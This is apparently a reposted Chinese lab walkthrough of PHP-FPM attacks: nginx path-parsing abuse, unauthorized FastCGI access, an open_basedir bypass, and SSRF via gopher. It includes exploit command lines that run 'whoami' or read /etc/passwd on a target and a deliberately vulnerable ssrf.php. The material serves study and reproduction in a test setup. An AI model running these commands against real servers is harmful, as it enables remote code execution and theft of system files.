php-fpm(繞過open_basedir,結合ssrf)


環境的安裝-> https://www.cnblogs.com/zaqzzz/p/11870489.html

1.nginx的畸形訪問

因為安裝的是php7.0,所以需要手動修改一下(版本低的時候沒有這種防護措施)

fpm里面的security.limit_extensions默認只執行.php的文件

vi /etc/php/7.0/fpm/pool.d/www.conf 

Snipaste_2019-11-14_09-21-55.png

把php-fpm.conf文件里面的security.limit_extensions前邊的分號去掉,把值設置為空,這樣就可以執行任意的文件了,也可以試試把fpm關掉。

 cgi.fix_pathinfo這個參數為1的時候,訪問:
ip:/*.*/.php

例如ip/1.jpg/.php,這里1.jpg的內容是<?php phpinfo();?>

因為 1.jpg/.php (把他看成一個整體)不存在,但是cgi.fix_pathinfo的原因,去掉/后邊的參數,可以找到1.jpg,就會把jpg當作php執行。

執行圖:

Snipaste_2019-11-14_09-02-44.png

2. fpm未授權訪問

原因:
fpm的9000端口暴露在公網上,其實默認文件是只有本地才可以訪問的。  


復現:
vi /etc/php/7.0/fpm/pool.d/www.conf 

;listen=127.0.0.1:9000修改為listen=0.0.0.0:9000



復現腳本
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75


執行
python3 fpm.py  ip  /var/www/html/index.php -c "<?php echo  `whoami`; ?>"

為什么要選擇:/var/www/html/index.php
因為security.limit_extensions默認只允許php文件執行,當然最好猜的是web目錄下的index.php了,如果這個配置值為空的時候(需自己手動修改),就可以返回任意文件。


當我們手動修改security.limit_extensions為空,執行命令:
python3 test.py  ip  /etc/passwd
這里並不會輸出passwd的內容,而是輸出phpinfo()的內容,在p牛博客底下問,因為不加-c參數的時候,默認執行phpinfo();exit();,所以返回phpinfo()后exit()結束,就不會返回passwd的內容了。或者直接執行命令
python3 test.py  ip  /etc/passwd -c ""

修改代碼:

Snipaste_2019-11-14_11-14-14.png

成功讀取文件:

Snipaste_2019-11-14_11-08-46.png

還有個問題,如果security.limit_extensions只允許php文件執行,但是你爆破不出web的目錄的話,也可以利用主機上任意的一個php文件(執行搜索:   find / -name "*.php"  )。

假設靶機的根目錄下存在1.php
python3 fpm.py  ip  /1.php -c "<?php echo  `whoami`; ?>"

3.fpm未授權訪問存在 open_basedir 的限制

open_basedir限制了php能訪問的目錄


復現:
vi /etc/php/7.0/cli/php.ini
修改open_basedir的值,限制只在訪問web目錄下的文件

Snipaste_2019-11-15_21-22-03.png

別忘了重啟
發現已經不能訪問根目錄的1.php文件了

Snipaste_2019-11-14_10-55-26.png

修改代碼: 

作用是修改了php的參數,可訪問目錄是全部目錄

Snipaste_2019-11-14_15-02-58.png

運行腳本,又可以繼續訪問了

4.ssrf+FastCgi

如果fpm不在外網開放,我們可以通過ssrf進行攻擊(如果存在ssrf漏洞的地方)
vi /etc/php/7.0/fpm/pool.d/www.conf 
listen=0.0.0.0:9000改為listen=127.0.0.1:9000,只允許本地訪問

假設存在ssrf.php
<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_exec($ch);
    curl_close($ch); 
}
$url = $_GET['url'];
curl($url);
?>
Snipaste_2019-11-15_20-55-06.png
利用gopher協議攻擊(腳本在github)
Snipaste_2019-11-15_20-49-44.png
因為是get傳參,所以要url編碼,如果是post方式,則這一步不需要,編碼使用burp來實現
burp截包,url的值改為gopher的內容,然后用burp編碼
編碼后
發送包,成功執行了  whoami這條命令


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM